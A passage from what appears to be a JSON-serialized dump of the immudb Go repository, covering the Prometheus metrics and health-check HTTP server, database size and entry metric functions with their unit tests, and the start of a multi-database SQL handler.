metricsNamespace,\n\t\t\tName:      \"number_of_rpcs_per_client\",\n\t\t\tHelp:      \"Number of handled RPCs per client.\",\n\t\t},\n\t\t[]string{\"ip\"},\n\t),\n\tDBSizeGauges: promauto.NewGaugeVec(\n\t\tprometheus.GaugeOpts{\n\t\t\tNamespace: metricsNamespace,\n\t\t\tName:      \"db_size_bytes\",\n\t\t\tHelp:      \"Database size in bytes.\",\n\t\t},\n\t\t[]string{\"db\"},\n\t),\n\tDBEntriesGauges: promauto.NewGaugeVec(\n\t\tprometheus.GaugeOpts{\n\t\t\tNamespace: metricsNamespace,\n\t\t\tName:      \"number_of_stored_entries\",\n\t\t\tHelp:      \"Number of key-value entries currently stored by the database.\",\n\t\t},\n\t\t[]string{\"db\"},\n\t),\n\tLastMessageAtPerClientGauges: promauto.NewGaugeVec(\n\t\tprometheus.GaugeOpts{\n\t\t\tNamespace: metricsNamespace,\n\t\t\tName:      \"clients_last_message_at_unix_seconds\",\n\t\t\tHelp:      \"Timestamp at which clients have sent their most recent message.\",\n\t\t},\n\t\t[]string{\"ip\"},\n\t),\n\tRemoteStorageKind: promauto.NewGaugeVec(\n\t\tprometheus.GaugeOpts{\n\t\t\tNamespace: metricsNamespace,\n\t\t\tName:      \"remote_storage_kind\",\n\t\t\tHelp:      \"Set to 1 for remote storage kind for given database\",\n\t\t},\n\t\t[]string{\"db\", \"kind\"},\n\t),\n\tLoadedDatabases: promauto.NewGauge(\n\t\tprometheus.GaugeOpts{\n\t\t\tNamespace: metricsNamespace,\n\t\t\tName:      \"loaded_databases\",\n\t\t\tHelp:      \"Numer of loaded databases\",\n\t\t},\n\t),\n\tActiveSessions: promauto.NewGauge(\n\t\tprometheus.GaugeOpts{\n\t\t\tNamespace: metricsNamespace,\n\t\t\tName:      \"active_sessions\",\n\t\t\tHelp:      \"Numer of active sessions\",\n\t\t},\n\t),\n}\n\n// StartMetrics listens and servers the HTTP metrics server in a new goroutine.\n// The server is then returned and can be stopped using Close().\nfunc StartMetrics(\n\tupdateInterval time.Duration,\n\taddr string,\n\ttlsConfig *tls.Config,\n\tl logger.Logger,\n\tuptimeCounter func() float64,\n\tcomputeDBSizes func() map[string]float64,\n\tcomputeDBEntries func() map[string]float64,\n\tcomputeLoadedDBSize func() float64,\n\tcomputeSessionCount func() float64,\n\taddPProf bool,\n) *http.Server {\n\tMetrics.WithUptimeCounter(uptimeCounter)\n\tMetrics.WithComputeDBSizes(computeDBSizes)\n\tMetrics.WithComputeDBEntries(computeDBEntries)\n\tMetrics.WithLoadedDBSize(computeLoadedDBSize)\n\tMetrics.WithComputeSessionCount(computeSessionCount)\n\n\tgo func() {\n\t\tMetrics.UpdateDBMetrics()\n\t\tfor range time.Tick(updateInterval) {\n\t\t\tMetrics.UpdateDBMetrics()\n\t\t}\n\t}()\n\n\tmux := http.NewServeMux()\n\tmux.Handle(\"/metrics\", corsHandler(promhttp.Handler()))\n\tmux.Handle(\"/debug/vars\", corsHandler(expvar.Handler()))\n\tif addPProf {\n\t\tmux.HandleFunc(\"/debug/pprof/\", corsHandlerFunc(pprof.Index))\n\t\tmux.HandleFunc(\"/debug/pprof/cmdline\", corsHandlerFunc(pprof.Cmdline))\n\t\tmux.HandleFunc(\"/debug/pprof/profile\", corsHandlerFunc(pprof.Profile))\n\t\tmux.HandleFunc(\"/debug/pprof/symbol\", corsHandlerFunc(pprof.Symbol))\n\t\tmux.HandleFunc(\"/debug/pprof/trace\", corsHandlerFunc(pprof.Trace))\n\t}\n\tmux.HandleFunc(\"/initz\", corsHandlerFunc(ImmudbHealthHandlerFunc()))\n\tmux.HandleFunc(\"/readyz\", corsHandlerFunc(ImmudbHealthHandlerFunc()))\n\tmux.HandleFunc(\"/livez\", corsHandlerFunc(ImmudbHealthHandlerFunc()))\n\tmux.HandleFunc(\"/version\", corsHandlerFunc(ImmudbVersionHandlerFunc))\n\n\tserver := &http.Server{Addr: addr, Handler: mux}\n\tserver.TLSConfig = tlsConfig\n\n\tgo func() {\n\t\tvar err error\n\t\tif tlsConfig != nil && len(tlsConfig.Certificates) > 0 {\n\t\t\tl.Infof(\"metrics server enabled on %s (https)\", addr)\n\t\t\terr = server.ListenAndServeTLS(\"\", \"\")\n\t\t} else {\n\t\t\tl.Infof(\"metrics server enabled on %s (http)\", addr)\n\t\t\terr = server.ListenAndServe()\n\t\t}\n\n\t\tif err == http.ErrServerClosed {\n\t\t\tl.Debugf(\"Metrics http server closed\")\n\t\t} else {\n\t\t\tl.Errorf(\"Metrics error: %s\", err)\n\t\t}\n\t}()\n\treturn server\n}\n\nfunc ImmudbHealthHandlerFunc() http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(http.StatusOK)\n\t}\n}\n\nfunc ImmudbVersionHandlerFunc(w http.ResponseWriter, r *http.Request) {\n\twriteJSONResponse(w, r, 200, &Version)\n}\n\nfunc corsHandler(handler http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\taddCORSHeaders(w, r)\n\t\thandler.ServeHTTP(w, r)\n\t})\n}\n\nfunc corsHandlerFunc(handlerFunc http.HandlerFunc) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\taddCORSHeaders(w, r)\n\t\thandlerFunc(w, r)\n\t}\n}\n\nfunc addCORSHeaders(w http.ResponseWriter, r *http.Request) {\n\t// Set CORS headers for the preflight request\n\tif r.Method == http.MethodOptions {\n\t\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\t\tw.Header().Set(\"Access-Control-Allow-Methods\", \"GET\")\n\t\tw.Header().Set(\n\t\t\t\"Access-Control-Allow-Headers\",\n\t\t\t\"Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Access-Control-Allow-Origin, Access-Control-Allow-Methods, Access-Control-Allow-Credentials\")\n\t\tw.WriteHeader(http.StatusNoContent)\n\t\treturn\n\t}\n\t// Set CORS headers for the main request.\n\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n}\n\nfunc writeJSONResponse(\n\tw http.ResponseWriter,\n\tr *http.Request,\n\tstatusCode int,\n\tbody interface{}) {\n\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(statusCode)\n\tjson.NewEncoder(w).Encode(body)\n}\n"
  },
  {
    "path": "pkg/server/metrics_funcs.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n)\n\nfunc (s *ImmuServer) metricFuncServerUptimeCounter() float64 {\n\treturn time.Since(startedAt).Hours()\n}\n\n// returns the specified directory's size in bytes\nfunc dirSize(dir string) (int64, error) {\n\tvar dirSizeBytes int64 = 0\n\taddSizeIfNotDir := func(path string, file os.FileInfo, err error) error {\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif file.IsDir() {\n\t\t\treturn nil\n\t\t}\n\t\tdirSizeBytes += file.Size()\n\t\treturn nil\n\t}\n\tif err := filepath.Walk(dir, addSizeIfNotDir); err != nil {\n\t\treturn 0, fmt.Errorf(\n\t\t\t\"error walking dir %s to read it's size: %v\", dir, err)\n\t}\n\treturn dirSizeBytes, nil\n}\n\nfunc (s *ImmuServer) metricFuncComputeDBSizes() (dbSizes map[string]float64) {\n\tdbSizes = make(map[string]float64)\n\n\tif s.dbList != nil {\n\t\tfor i := 0; i < s.dbList.Length(); i++ {\n\t\t\tdb, err := s.dbList.GetByIndex(i)\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tdbName := db.GetName()\n\t\t\tdbSize, err := dirSize(filepath.Join(s.Options.Dir, dbName))\n\t\t\tif err != nil {\n\t\t\t\ts.Logger.Errorf(\"error updating db size metric for db %s: %v\", dbName, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tdbSizes[dbName] = float64(dbSize)\n\t\t}\n\t} else {\n\t\ts.Logger.Warningf(\n\t\t\t\"current update of db sizes metrics for regular dbs was skipped: db list is nil\")\n\t}\n\n\t// add systemdb\n\tif s.sysDB != nil {\n\t\tsysDBName := s.sysDB.GetName()\n\t\tsysDBSize, err := dirSize(filepath.Join(s.Options.Dir, sysDBName))\n\t\tif err != nil {\n\t\t\ts.Logger.Errorf(\"error updating db size metric for system db %s: %v\", sysDBName, err)\n\t\t} else {\n\t\t\tdbSizes[sysDBName] = float64(sysDBSize)\n\t\t}\n\t} else {\n\t\ts.Logger.Warningf(\n\t\t\t\"current update of db size metric for system db was skipped: system db is nil\")\n\t}\n\n\treturn\n}\n\nfunc (s *ImmuServer) metricFuncComputeDBEntries() (nbEntriesPerDB map[string]float64) {\n\tnbEntriesPerDB = make(map[string]float64)\n\n\tif s.dbList != nil {\n\t\tfor i := 0; i < s.dbList.Length(); i++ {\n\t\t\tdb, err := s.dbList.GetByIndex(i)\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tdbName := db.GetName()\n\t\t\tstate, err := db.CurrentState()\n\t\t\tif errors.Is(err, store.ErrAlreadyClosed) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\ts.Logger.Errorf(\n\t\t\t\t\t\"error getting current state of db %s to update the number of entries metric: %v\",\n\t\t\t\t\tdbName, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tnbEntriesPerDB[dbName] = float64(state.GetTxId())\n\t\t}\n\t} else {\n\t\ts.Logger.Warningf(\n\t\t\t\"current update of db entries metrics for regular dbs was skipped: db list is nil\")\n\t}\n\n\t// add systemdb\n\tif s.sysDB != nil {\n\t\tsysDBName := s.sysDB.GetName()\n\t\tstate, err := s.sysDB.CurrentState()\n\t\tif err != nil {\n\t\t\ts.Logger.Errorf(\n\t\t\t\t\"error getting current state of system db %s to update the number of entries metric: %v\",\n\t\t\t\tsysDBName, err)\n\t\t} else {\n\t\t\tnbEntriesPerDB[sysDBName] = float64(state.GetTxId())\n\t\t}\n\t} else {\n\t\ts.Logger.Warningf(\n\t\t\t\"current update of db entries metric for system db was skipped: system db is nil\")\n\t}\n\n\treturn\n}\n\nfunc (s *ImmuServer) metricFuncComputeLoadedDBSize() float64 {\n\treturn float64(s.dbList.Length())\n}\n\nfunc (s *ImmuServer) metricFuncComputeSessionCount() float64 {\n\tif s.SessManager == nil {\n\t\ts.Logger.Warningf(\n\t\t\t\"current update of session count is skipped: no session manager\")\n\t\treturn 0.0\n\t}\n\treturn float64(s.SessManager.SessionCount())\n}\n"
  },
  {
    "path": "pkg/server/metrics_funcs_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/cmdtest\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/stretchr/testify/require\"\n)\n\ntype dbMock struct {\n\tdatabase.DB\n\n\tcurrentStateF func() (*schema.ImmutableState, error)\n\tgetOptionsF   func() *database.Options\n\tgetNameF      func() string\n}\n\nfunc (dbm dbMock) CurrentState() (*schema.ImmutableState, error) {\n\tif dbm.currentStateF != nil {\n\t\treturn dbm.currentStateF()\n\t}\n\treturn &schema.ImmutableState{TxId: 99}, nil\n}\n\nfunc (dbm dbMock) GetOptions() *database.Options {\n\tif dbm.getOptionsF != nil {\n\t\treturn dbm.getOptionsF()\n\t}\n\treturn database.DefaultOptions()\n}\n\nfunc (dbm dbMock) GetName() string {\n\tif dbm.getNameF != nil {\n\t\treturn dbm.getNameF()\n\t}\n\treturn \"\"\n}\n\nfunc TestMetricFuncComputeDBEntries(t *testing.T) {\n\tcurrentStateSuccessfulOnce := func(callCounter *int) (*schema.ImmutableState, error) {\n\t\t*callCounter++\n\t\tif *callCounter == 1 {\n\t\t\treturn &schema.ImmutableState{TxId: 99}, nil\n\t\t} else {\n\t\t\treturn nil, fmt.Errorf(\n\t\t\t\t\"some current state error %d\", *callCounter)\n\t\t}\n\t}\n\n\tcurrentStateCounter := 0\n\tdbList := database.NewDatabaseList(database.NewDBManager(func(name string, opts *database.Options) (database.DB, error) {\n\t\treturn &dbMock{\n\t\t\tcurrentStateF: func() (*schema.ImmutableState, error) {\n\t\t\t\treturn currentStateSuccessfulOnce(&currentStateCounter)\n\t\t\t},\n\t\t}, nil\n\t}, 100, logger.NewMemoryLogger()))\n\n\tdbList.Put(\"test\", database.DefaultOptions())\n\n\tcurrentStateCountersysDB := 0\n\tsysDB := dbMock{\n\t\tgetNameF: func() string {\n\t\t\treturn \"systemdb\"\n\t\t},\n\t\tgetOptionsF: func() *database.Options {\n\t\t\treturn database.DefaultOptions()\n\t\t},\n\t\tcurrentStateF: func() (*schema.ImmutableState, error) {\n\t\t\treturn currentStateSuccessfulOnce(&currentStateCountersysDB)\n\t\t},\n\t}\n\n\tvar sw strings.Builder\n\ts := ImmuServer{\n\t\tdbList: dbList,\n\t\tsysDB:  sysDB,\n\t\tLogger: logger.NewSimpleLoggerWithLevel(\n\t\t\t\"TestMetricFuncComputeDBSizes\",\n\t\t\t&sw,\n\t\t\tlogger.LogError),\n\t}\n\n\tnbEntriesPerDB := s.metricFuncComputeDBEntries()\n\trequire.Len(t, nbEntriesPerDB, 2)\n\n\t// call once again catch the currentState error paths\n\ts.metricFuncComputeDBEntries()\n\n\t// test warning paths (when dbList and sysDB are nil)\n\ts.dbList = nil\n\ts.sysDB = nil\n\ts.metricFuncComputeDBEntries()\n}\n\nfunc TestMetricFuncServerUptimeCounter(t *testing.T) {\n\ts := ImmuServer{}\n\ts.metricFuncServerUptimeCounter()\n}\n\nfunc TestMetricFuncComputeDBSizes(t *testing.T) {\n\tdataDir := filepath.Join(t.TempDir(), \"TestDBSizesData\")\n\tdefaultDBName := \"TestDBSizesDefaultDB\"\n\n\t//--> create the data dir with subdir for each db\n\tvar fullPermissions os.FileMode = 0777\n\trequire.NoError(t, os.MkdirAll(dataDir, fullPermissions))\n\trequire.NoError(t, os.MkdirAll(filepath.Join(dataDir, defaultDBName), fullPermissions))\n\trequire.NoError(t, os.MkdirAll(filepath.Join(dataDir, SystemDBName), fullPermissions))\n\trequire.NoError(t, os.MkdirAll(filepath.Join(dataDir, SystemDBName, \"some-dir\"), fullPermissions))\n\tfile, err := os.Create(filepath.Join(dataDir, defaultDBName, \"some-file\"))\n\trequire.NoError(t, err)\n\tdefer file.Close()\n\t//<--\n\n\tdbList := database.NewDatabaseList(database.NewDBManager(func(name string, opts *database.Options) (database.DB, error) {\n\t\treturn &dbMock{\n\t\t\tgetNameF: func() string {\n\t\t\t\treturn \"defaultdb\"\n\t\t\t},\n\t\t\tgetOptionsF: func() *database.Options {\n\t\t\t\treturn database.DefaultOptions()\n\t\t\t},\n\t\t}, nil\n\t}, 100, logger.NewMemoryLogger()))\n\tdbList.Put(\"test\", database.DefaultOptions())\n\n\ts := ImmuServer{\n\t\tOptions: &Options{\n\t\t\tDir:           dataDir,\n\t\t\tdefaultDBName: defaultDBName,\n\t\t},\n\t\tdbList: dbList,\n\t\tsysDB: dbMock{\n\t\t\tgetOptionsF: func() *database.Options {\n\t\t\t\treturn database.DefaultOptions()\n\t\t\t},\n\t\t},\n\t}\n\n\tvar sw strings.Builder\n\ts.Logger = logger.NewSimpleLoggerWithLevel(\n\t\t\"TestMetricFuncComputeDBSizes\",\n\t\t&sw,\n\t\tlogger.LogError)\n\n\ts.metricFuncComputeDBSizes()\n\n\t// non-existent dir\n\ts.Options.Dir = cmdtest.RandString()\n\ts.metricFuncComputeDBSizes()\n\n\t// test warning paths (when dbList and sysDB are nil)\n\ts.dbList = nil\n\ts.sysDB = nil\n\ts.metricFuncComputeDBSizes()\n}\n\nfunc TestMetricFuncComputeLoadedDBSize(t *testing.T) {\n\tdbList := database.NewDatabaseList(database.NewDBManager(func(name string, opts *database.Options) (database.DB, error) {\n\t\tdb := dbMock{\n\t\t\tgetNameF: func() string {\n\t\t\t\treturn name\n\t\t\t},\n\t\t\tgetOptionsF: func() *database.Options {\n\t\t\t\treturn opts\n\t\t\t},\n\t\t}\n\t\treturn db, nil\n\t}, 10, logger.NewMemoryLogger()))\n\n\tdbList.Put(\"defaultdb\", database.DefaultOptions())\n\n\tvar sw strings.Builder\n\ts := ImmuServer{\n\t\tOptions: &Options{\n\t\t\tdefaultDBName: \"defaultdb\",\n\t\t},\n\t\tdbList: dbList,\n\t\tsysDB: dbMock{\n\t\t\tgetOptionsF: func() *database.Options {\n\t\t\t\treturn database.DefaultOptions()\n\t\t\t},\n\t\t},\n\t\tLogger: logger.NewSimpleLoggerWithLevel(\n\t\t\t\"TestMetricFuncComputeDBSizes\",\n\t\t\t&sw,\n\t\t\tlogger.LogError),\n\t}\n\trequire.Equal(t, s.metricFuncComputeLoadedDBSize(), 1.0)\n\trequire.Equal(t, s.metricFuncComputeSessionCount(), 0.0)\n}\n"
  },
  {
    "path": "pkg/server/metrics_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/prometheus/client_golang/prometheus\"\n\t\"github.com/prometheus/client_golang/prometheus/promhttp\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc/peer\"\n)\n\nfunc TestStartMetricsHTTP(t *testing.T) {\n\ttlsConfig := &tls.Config{\n\t\tCertificates: []tls.Certificate{},\n\t\tClientAuth:   tls.VerifyClientCertIfGiven,\n\t}\n\n\tserver := StartMetrics(\n\t\t100*time.Millisecond,\n\t\t\"0.0.0.0:9999\",\n\t\ttlsConfig,\n\t\t&mockLogger{},\n\t\tfunc() float64 { return 0 },\n\t\tfunc() map[string]float64 { return make(map[string]float64) },\n\t\tfunc() map[string]float64 { return make(map[string]float64) },\n\t\tfunc() float64 { return 1.0 },\n\t\tfunc() float64 { return 2.0 },\n\t\tfalse,\n\t)\n\ttime.Sleep(200 * time.Millisecond)\n\tdefer server.Close()\n\n\trequire.IsType(t, &http.Server{}, server)\n}\n\nfunc TestStartMetricsHTTPS(t *testing.T) {\n\ttlsConfig := tlsConfigTest(t)\n\n\tserver := StartMetrics(\n\t\t100*time.Millisecond,\n\t\t\"0.0.0.0:9999\",\n\t\ttlsConfig,\n\t\t&mockLogger{},\n\t\tfunc() float64 { return 0 },\n\t\tfunc() map[string]float64 { return make(map[string]float64) },\n\t\tfunc() map[string]float64 { return make(map[string]float64) },\n\t\tfunc() float64 { return 1.0 },\n\t\tfunc() float64 { return 2.0 },\n\t\tfalse,\n\t)\n\ttime.Sleep(200 * time.Millisecond)\n\tdefer server.Close()\n\n\trequire.IsType(t, &http.Server{}, server)\n\n\ttr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}\n\tclient := &http.Client{Transport: tr}\n\trequire.Eventually(t, func() bool {\n\t\t_, err := client.Get(\"https://0.0.0.0:9999\")\n\t\treturn err == nil\n\t}, 10*time.Second, 30*time.Millisecond)\n}\n\nfunc TestStartMetricsFail(t *testing.T) {\n\tsave_metricsNamespace := metricsNamespace\n\tmetricsNamespace = \"failimmudb\"\n\tdefer func() { metricsNamespace = save_metricsNamespace }()\n\n\tserver := StartMetrics(\n\t\t100*time.Millisecond,\n\t\t\"999.999.999.999:9999\",\n\t\tnil,\n\t\t&mockLogger{},\n\t\tfunc() float64 { return 0 },\n\t\tfunc() map[string]float64 { return make(map[string]float64) },\n\t\tfunc() map[string]float64 { return make(map[string]float64) },\n\t\tfunc() float64 { return 1.0 },\n\t\tfunc() float64 { return 2.0 },\n\t\tfalse,\n\t)\n\ttime.Sleep(200 * time.Millisecond)\n\tdefer server.Close()\n\n\trequire.IsType(t, &http.Server{}, server)\n}\n\nfunc TestMetricsCollection_UpdateClientMetrics(t *testing.T) {\n\tmc := MetricsCollection{\n\t\tUptimeCounter: prometheus.NewCounterFunc(prometheus.CounterOpts{}, func() float64 {\n\t\t\treturn 0\n\t\t}),\n\t\tRPCsPerClientCounters: prometheus.NewCounterVec(\n\t\t\tprometheus.CounterOpts{\n\t\t\t\tName: \"test\",\n\t\t\t},\n\t\t\t[]string{\"test\"},\n\t\t),\n\t\tLastMessageAtPerClientGauges: prometheus.NewGaugeVec(\n\t\t\tprometheus.GaugeOpts{\n\t\t\t\tNamespace: \"namespace_test\",\n\t\t\t\tSubsystem: \"subsystem_test\",\n\t\t\t\tName:      \"test\",\n\t\t\t\tHelp:      \"test\",\n\t\t\t},\n\t\t\t[]string{\n\t\t\t\t// Which user has requested the operation?\n\t\t\t\t\"test\",\n\t\t\t},\n\t\t),\n\t}\n\tip := net.IP{}\n\tip.UnmarshalText([]byte(`127.0.0.1`))\n\tp := &peer.Peer{\n\t\tAddr: &net.TCPAddr{\n\t\t\tIP:   ip,\n\t\t\tPort: 9999,\n\t\t\tZone: \"zone\",\n\t\t},\n\t}\n\tctx := peer.NewContext(context.Background(), p)\n\tmc.UpdateClientMetrics(ctx)\n\n\trequire.IsType(t, MetricsCollection{}, mc)\n}\n\nfunc TestMetricsCollection_UpdateDBMetrics(t *testing.T) {\n\tmc := MetricsCollection{\n\t\tDBSizeGauges: prometheus.NewGaugeVec(\n\t\t\tprometheus.GaugeOpts{\n\t\t\t\tNamespace: metricsNamespace,\n\t\t\t\tName:      \"db_size_bytes\",\n\t\t\t\tHelp:      \"Database size in bytes.\",\n\t\t\t},\n\t\t\t[]string{\"db\"},\n\t\t),\n\t\tDBEntriesGauges: prometheus.NewGaugeVec(\n\t\t\tprometheus.GaugeOpts{\n\t\t\t\tNamespace: metricsNamespace,\n\t\t\t\tName:      \"number_of_stored_entries\",\n\t\t\t\tHelp:      \"Number of key-value entries currently stored by the database.\",\n\t\t\t},\n\t\t\t[]string{\"db\"},\n\t\t),\n\t}\n\n\t// update before injecting the funcs, to catch the fast-exit execution path\n\tmc.UpdateDBMetrics()\n\n\tmc.computeDBSizes = func() map[string]float64 {\n\t\treturn map[string]float64{\"db1\": 111, \"db2\": 222}\n\t}\n\tmc.computeDBEntries = func() map[string]float64 {\n\t\treturn map[string]float64{\"db1\": 10, \"db2\": 20}\n\t}\n\n\t// update after injecting the funcs, to catch the normal execution path\n\tmc.UpdateDBMetrics()\n\n\trequire.IsType(t, MetricsCollection{}, mc)\n}\n\nfunc TestImmudbHealthHandlerFunc(t *testing.T) {\n\treq, err := http.NewRequest(\"GET\", \"/initz\", nil)\n\trequire.NoError(t, err)\n\trr := httptest.NewRecorder()\n\thandler := corsHandlerFunc(ImmudbHealthHandlerFunc())\n\thandler.ServeHTTP(rr, req)\n\trequire.Equal(t, http.StatusOK, rr.Code)\n}\n\nfunc TestImmudbVersionHandlerFunc(t *testing.T) {\n\t// test OPTIONS /version\n\treq, err := http.NewRequest(\"OPTIONS\", \"/version\", nil)\n\trequire.NoError(t, err)\n\trr := httptest.NewRecorder()\n\thandler := corsHandlerFunc(ImmudbVersionHandlerFunc)\n\thandler.ServeHTTP(rr, req)\n\trequire.Equal(t, http.StatusNoContent, rr.Code)\n\n\t// test GET /version\n\tVersion = VersionResponse{\n\t\tComponent: \"immudb\",\n\t\tVersion:   \"1.2.3\",\n\t\tBuildTime: time.Now().Format(time.RFC3339),\n\t\tBuiltBy:   \"SomeBuilder\",\n\t\tStatic:    true,\n\t}\n\treq, err = http.NewRequest(\"GET\", \"/version\", nil)\n\trequire.NoError(t, err)\n\trr = httptest.NewRecorder()\n\thandler = corsHandlerFunc(ImmudbVersionHandlerFunc)\n\thandler.ServeHTTP(rr, req)\n\trequire.Equal(t, http.StatusOK, rr.Code)\n\texpectedBody, _ := json.Marshal(&Version)\n\trequire.Equal(t, string(expectedBody)+\"\\n\", rr.Body.String())\n}\n\nfunc TestCORSHandler(t *testing.T) {\n\trr := httptest.NewRecorder()\n\treq, err := http.NewRequest(\"GET\", \"/metrics\", nil)\n\trequire.NoError(t, err)\n\thandler := corsHandler(promhttp.Handler())\n\thandler.ServeHTTP(rr, req)\n\trequire.Equal(t, http.StatusOK, rr.Code)\n}\n"
  },
  {
    "path": "pkg/server/multidb_handler.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n)\n\ntype multidbHandler struct {\n\ts *ImmuServer\n}\n\nfunc (s *ImmuServer) multidbHandler() sql.MultiDBHandler {\n\treturn &multidbHandler{s}\n}\n\nfunc (h *multidbHandler) UseDatabase(ctx context.Context, db string) error {\n\tif auth.GetAuthTypeFromContext(ctx) != auth.SessionAuth {\n\t\treturn fmt.Errorf(\"%w: database selection from SQL statements requires session based authentication\", ErrNotSupported)\n\t}\n\n\t_, err := h.s.UseDatabase(ctx, &schema.Database{DatabaseName: db})\n\treturn err\n}\n\nfunc (h *multidbHandler) CreateDatabase(ctx context.Context, db string, ifNotExists bool) error {\n\t_, err := h.s.CreateDatabaseV2(ctx, &schema.CreateDatabaseRequest{\n\t\tName:        db,\n\t\tIfNotExists: ifNotExists,\n\t})\n\treturn err\n}\n\nfunc (h *multidbHandler) GetLoggedUser(ctx context.Context) (sql.User, error) {\n\t_, user, err := h.s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdb, err := h.s.getDBFromCtx(ctx, \"SQLQuery\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tisSysAdmin := user.Username == auth.SysAdminUsername\n\n\tprivileges := make([]sql.SQLPrivilege, 0, len(user.SQLPrivileges))\n\tfor _, p := range user.SQLPrivileges {\n\t\tif isSysAdmin || p.Database == db.GetName() {\n\t\t\tprivileges = append(privileges, sql.SQLPrivilege(p.Privilege))\n\t\t}\n\t}\n\n\tpermCode := user.WhichPermission(db.GetName())\n\treturn &User{\n\t\tusername:      user.Username,\n\t\tperm:          sql.PermissionFromCode(permCode),\n\t\tsqlPrivileges: privileges,\n\t}, nil\n}\n\nfunc (h *multidbHandler) ListDatabases(ctx context.Context) ([]string, error) {\n\tres, err := h.s.DatabaseList(ctx, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdbs := make([]string, len(res.Databases))\n\tfor i, db := range res.Databases {\n\t\tdbs[i] = db.DatabaseName\n\t}\n\treturn dbs, nil\n}\n\nfunc (h *multidbHandler) ListUsers(ctx context.Context) ([]sql.User, error) {\n\tdb, err := h.s.getDBFromCtx(ctx, \"ListUsers\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tres, err := h.s.ListUsers(ctx, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tusers := make([]sql.User, 0, len(res.Users))\n\n\tfor _, user := range res.Users {\n\t\tif !user.Active {\n\t\t\tcontinue\n\t\t}\n\n\t\tvar perm *schema.Permission\n\t\tisSysAdmin := string(user.User) == auth.SysAdminUsername\n\n\t\tif isSysAdmin {\n\t\t\tperm = &schema.Permission{Database: db.GetName()}\n\t\t} else {\n\t\t\tperm = findPermission(user.Permissions, db.GetName())\n\t\t}\n\n\t\tprivileges := make([]sql.SQLPrivilege, 0, len(user.SqlPrivileges))\n\t\tfor _, p := range user.SqlPrivileges {\n\t\t\tif isSysAdmin || p.Database == db.GetName() {\n\t\t\t\tprivileges = append(privileges, sql.SQLPrivilege(p.Privilege))\n\t\t\t}\n\t\t}\n\n\t\tif perm != nil {\n\t\t\tusers = append(users, &User{username: string(user.User), perm: sql.PermissionFromCode(perm.Permission), sqlPrivileges: privileges})\n\t\t}\n\t}\n\n\treturn users, nil\n}\n\nfunc findPermission(permissions 